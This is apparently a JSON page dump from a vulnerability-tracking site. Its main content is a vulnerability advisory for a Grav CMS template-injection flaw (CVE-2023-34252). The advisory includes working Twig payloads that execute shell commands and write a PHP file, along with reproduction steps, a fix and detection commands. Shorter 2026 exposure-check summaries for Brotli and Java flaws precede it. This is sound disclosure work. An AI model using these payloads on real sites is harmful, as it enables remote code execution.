[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2023-34252":30,"landing-articles":383},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":51,"technologies":327,"references":329,"score":339,"epss_score":340,"epss_percentile":341,"is_kev":342,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":343,"attack_mappings":353,"exploits":381},338649,"CVE-2023-34252","EUVD-2023-1758","Grav Server-side Template Injection (SSTI) via Twig Default Filters\n\nHi,\n\nactually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter\n\n## Summary:  \n| **Product**             | Grav CMS                                      |\n| ----------------------- | --------------------------------------------- |\n| **Vendor**              | Grav                                          |\n| **Severity**            | High - Users with login access to Grav Admin panel and page creation\u002Fupdate permissions are able to obtain remote code\u002Fcommand execution |\n| **Affected Versions**   | \u003C= [v1.7.40](https:\u002F\u002Fgithub.com\u002Fgetgrav\u002Fgrav\u002Ftree\u002F1.7.40) (Commit [685d762](https:\u002F\u002Fgithub.com\u002Fgetgrav\u002Fgrav\u002Fcommit\u002F685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions**     | v1.7.40                                       |\n| **Internal Identifier** | STAR-2023-0007                                |\n| **CVE Identifier**      | TBD                                           |\n| **CWE(s)**              | CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System:  \n**Base Score:** 7.2 (High)  \n**Vector String:** `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H`  \n| **Metric**                   | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)**       | Network   |\n| **Attack Complexity (AC)**   | Low       |\n| **Privileges Required (PR)** | High      |\n| **User Interaction (UI)**    | None      |\n| **Scope (S)**                | Unchanged |\n| **Confidentiality \\(C)**     | High      |\n| **Integrity (I)**            | High      |\n| **Availability (A)**         | High      |\n\n## Product Overview:  \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary:  \nThere is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation\u002Fupdate permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details:  \nThe vulnerability can be found in the `GravExtension.filterFilter()` function declared in [`\u002Fsystem\u002Fsrc\u002FGrav\u002FCommon\u002FTwig\u002FExtension\u002FGravExtension.php`](https:\u002F\u002Fgithub.com\u002Fgetgrav\u002Fgrav\u002Fblob\u002F1.7.40\u002Fsystem\u002Fsrc\u002FGrav\u002FCommon\u002FTwig\u002FExtension\u002FGravExtension.php#L1692-L1698):\n~~~php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n    ...\n    \n    \u002F**\n     * Return a list of all filters.\n     *\n     * @return array\n     *\u002F\n    public function getFilters(): array\n    {\n        return [\n            ...\n            \n            \u002F\u002F Security fix\n            new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),\n        ];\n    }\n\n    ...\n\n    \u002F**\n     * @param Environment $env\n     * @param array $array\n     * @param callable|string $arrow\n     * @return array|CallbackFilterIterator\n     * @throws RuntimeError\n     *\u002F\n    function filterFilter(Environment $env, $array, $arrow)\n    {\n        if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { \u002F\u002F [1]\n            throw new RuntimeError('Twig |filter(\"' . $arrow . '\") is not allowed.');\n        }\n\n        return \\twig_array_filter($env, $array, $arrow); \u002F\u002F [2]\n    }\n}\n~~~\n\nAt [1], the `$arrow` parameter contains the argument supplied to the filter. For example, it may refer to `\"funcname\"` in `{{ array|filter(\"funcname\") }}` or the closure (a.k.a. arrow function) `el => el != 'exclude'` in `{{ array|filter(el => el != 'exclude') }}`. Observe that `Utils::isDangerousFunction($arrow)` is only invoked if `$arrow` is a string. As such, non-string arguments may be passed to `twig_array_filter()` at [2] due to the absence of type enforcement at [1].\n\nThe implementation of the `twig_array_filter()` function can be found in [\u002Fsrc\u002FExtension\u002FCoreExtension.php](https:\u002F\u002Fgithub.com\u002Ftwigphp\u002FTwig\u002Fblob\u002Fv1.44.7\u002Fsrc\u002FExtension\u002FCoreExtension.php) within Twig's codebase:\n~~~php\nfunction twig_array_filter(Environment $env, $array, $arrow)\n{\n    if (!twig_test_iterable($array)) {\n        throw new RuntimeError(sprintf('The \"filter\" filter expects an array or \"Traversable\", got \"%s\".', \\is_object($array) ? \\get_class($array) : \\gettype($array)));\n    }\n\n    if (!$arrow instanceof Closure && $env->hasExtension('\\Twig\\Extension\\SandboxExtension') && $env->getExtension('\\Twig\\Extension\\SandboxExtension')->isSandboxed()) { \u002F\u002F [3]\n        throw new RuntimeError('The callable passed to \"filter\" filter must be a Closure in sandbox mode.');\n    }\n\n    if (\\is_array($array)) {\n        if (\\PHP_VERSION_ID >= 50600) {\n            return array_filter($array, $arrow, \\ARRAY_FILTER_USE_BOTH); \u002F\u002F [4]\n        }\n\n        return array_filter($array, $arrow);\n    }\n\n    \u002F\u002F the IteratorIterator wrapping is needed as some internal PHP classes are \\Traversable but do not implement \\Iterator\n    return new \\CallbackFilterIterator(new \\IteratorIterator($array), $arrow);\n}\n~~~\n\nAt [3], a runtime error is thrown if `$arrow` is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when `$arrow` is not a closure. Subsequently at [4], `array_filter()` is invoked with the user-controlled `$array` input and `$arrow` parameter.\n\nNote that the method signature of `array_filter()` is as follows:\n~~~php\narray_filter(array $array, ?callable $callback = null, int $mode = 0): array\n~~~\n\nA common mistake that developers make is assuming that the `callable` type refers to a `string` type. This is untrue, and it is [well documented in the PHP Manual](https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fen\u002Flanguage.types.callable.php):\n> A method of an instantiated object is passed as an **array containing an object at index 0 and the method name at index 1**. Accessing protected and private methods from within a class is allowed.\n> Static class methods can also be passed without instantiating an object of that class by either, **passing the class name instead of an object at index 0, or passing `ClassName::methodName`**.\n\nThis means that all of the following method calls are valid:\n~~~php\n\u002F\u002F Type 1: Simple callback -- invokes system(\"id\")\narray_filter(array(\"id\"), \"system\");\n\n\u002F\u002F Type 2: Static class method call -- invokes Class::staticMethod($arg)\narray_filter(array($arg), array(\"Class\", \"staticMethod\"));\narray_filter(array($arg), array(\"Class::staticMethod\")); \u002F\u002F same as above\n\n\u002F\u002F Type 3: Object method call -- invokes $obj->method($arg)\narray_filter(array($arg), array($obj, \"method\"));\n~~~\n\nGoing back to [1], if `$arrow` is an `array` instead of a `string` or `closure`, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:\n~~~twig\n\u002F\u002F Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav's codebase to invoke system(\"id\"):\n{% set id = {'id': 0} %}\n{{ {'system': id} | filter('\\\\Grav\\\\Common\\\\Utils', 'arrayFilterRecursive') }}\n\n\u002F\u002F Gadget 2: Using \\Symfony\\Component\\VarDumper\\Vardumper::setHandler() and \\Symfony\\Component\\VarDumper\\Vardumper::dump() to invoke system(\"id\"):\n{{ ['system'] | filter(['\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper', 'setHandler'])}}\n{{ ['id'] | filter(['\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper', 'dump']) }}\n\n\u002F\u002F Gadget 3: Using \\RocketTheme\\Toolbox\\File\\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:\n{{ (['rce.php'] | map(['\\\\RocketTheme\\\\Toolbox\\\\File\\\\File', 'instance']))[0].save('\u003C?php echo phpinfo(); ') }}\n\n\u002F\u002F Gadget 4: Using \\Symfony\\Component\\Process\\Process::fromShellCommandline() to invoke system(\"id\"):\n{{ {'\u002F':'sleep 3'} | map(['\\\\Symfony\\\\Component\\\\Process\\\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}\n~~~\n\n## Exploit Conditions:    \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrator, user account that are granted the following permissions:\n    - login access to Grav admin panel, and\n    - page creation or update rights\n\n## Reproduction Steps:  \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts > Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n    * Login to Admin - Allowed\n    * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http:\u002F\u002F\u003Cgrav_installation>\u002Fadmin\u002Fpages\u002Fhome`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n   ~~~twig\n   \u002F\u002F Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav's codebase to invoke system(\"id\"):\n   {% set id = {'id': 0} %}\n   {{ {'system': id} | filter('\\\\Grav\\\\Common\\\\Utils', 'arrayFilterRecursive') }}\n   ~~~\n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations:  \nPatch the logic flaw in the `GravExtension.filterFilter()` function declared in `\u002Fsystem\u002Fsrc\u002FGrav\u002FCommon\u002FTwig\u002FExtension\u002FGravExtension.php` to ensure that the `$arrow` paramater passed to the `filterFilter()` function must either be a `string` or an arrow function as such:\n~~~diff php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n    ...\n\n    \u002F**\n     * @param Environment $env\n     * @param array $array\n     * @param callable|string $arrow\n     * @return array|CallbackFilterIterator\n     * @throws RuntimeError\n     *\u002F\n    function filterFilter(Environment $env, $array, $arrow)\n    {\n-       if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {\n+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {\n            throw new RuntimeError('Twig |filter(\"' . $arrow . '\") is not allowed.');\n        }\n\n        return \\twig_array_filter($env, $array, $arrow);\n    }\n}\n~~~\n\n`Utils::isDangerousFunction()` in [\u002Fsystem\u002Fsrc\u002FGrav\u002FCommon\u002FUtils.php](https:\u002F\u002Fgithub.com\u002Fgetgrav\u002Fgrav\u002Fblob\u002F1.7.40\u002Fsystem\u002Fsrc\u002FGrav\u002FCommon\u002FUtils.php#L1956-L2074) should also be patched to prevent static class methods from being invoked. For example,\n~~~diff php\n...\nabstract class Utils\n{\n    ...\n    \u002F**\n     * @param string $name\n     * @return bool\n     *\u002F\n    public static function isDangerousFunction(string $name): bool\n    {\n        ...\n\n+       if (is_array($name) || strpos($name, \":\") !== false) {\n+           return false;\n+       }\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n    ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `\u002Fpath\u002Fto\u002Fwebroot\u002Fsystem\u002Fconfig\u002Fsystem.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters\u002Ffunctions as PHP functions and executing them.\n\n## Detection Guidance:  \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command:  \n   `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\(' \u002Fpath\u002Fto\u002Fwebroot\u002Fuser\u002Fpages\u002F`\n2. Searching within Doctrine cache data using the following shell command:  \n   `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\('  --include '*.doctrinecache.data' \u002Fpath\u002Fto\u002Fwebroot\u002Fcache\u002F`\n3. Searching within Twig cache using the following shell command:  \n   `grep -Priz -e 'twig_array_(filter|map|reduce)' \u002Fpath\u002Fto\u002Fwebroot\u002Fcache\u002Ftwig\u002F`\n4. Searching within compiled Twig template files using the following shell command:  \n   `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\(' \u002Fpath\u002Fto\u002Fwebroot\u002Fcache\u002Fcompiled\u002Ffiles\u002F`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `\u002Fpath\u002Fto\u002Fwebroot\u002Flogs\u002Fgrav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits:  \nNgo Wei Lin ([@Creastery](https:\u002F\u002Ftwitter.com\u002FCreastery)) & Wang Hengyue ([@w_hy_04](https:\u002F\u002Ftwitter.com\u002Fw_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https:\u002F\u002Ftwitter.com\u002Fstarlabs_sg))\n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:  \n1. **CVE-2023-30595**\n    Server-side Template Injection (SSTI) in getgrav\u002Fgrav \u003C= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.","2023-06-16T19:36:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":42,"confidentialityImpact":42},"UNCHANGED","3.1",7.2,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[48,49,50],"CWE-94","CWE-184","CWE-1336",[52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326],"cpe:2.3:a:getgrav:grav:1.1.7:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.3.0:rc1:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.24:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.9:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.26:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.0:-:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.39.4:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.0:rc3:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.0:rc1:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.40:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.3.6:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.1:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.4.7:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.42:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.6:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.0:rc2:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.5.8:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.34:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.2:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.2.4:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.4.0:beta1:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.7:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:rc10:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.22:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.13:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.19:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:beta10:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.2.0:rc2:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.41:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.23:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.2.2:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.3:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:-:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.32:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.3.2:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.22:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.5.9:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.4:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.35:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.28:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:beta6:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.4:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.3.0:rc5:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.10:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.39.3:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.13:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.15:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.27:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.9:rc2:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.17:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.13:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.4.2:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.18:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.0:rc3:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.6.1:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.29.1:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.1.1:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.0.8:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.7:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.9:-:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:rc18:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.4:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.0:rc19:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.15:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.30:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.3.0:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.39.2:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.1.8:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.7.39:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.4.0:beta2:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:0.9.26:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.2.0:-:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.3.5:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:grav:1.5.5:*:*:*:*:*:*:*","cpe:2.3:a:getgrav:gr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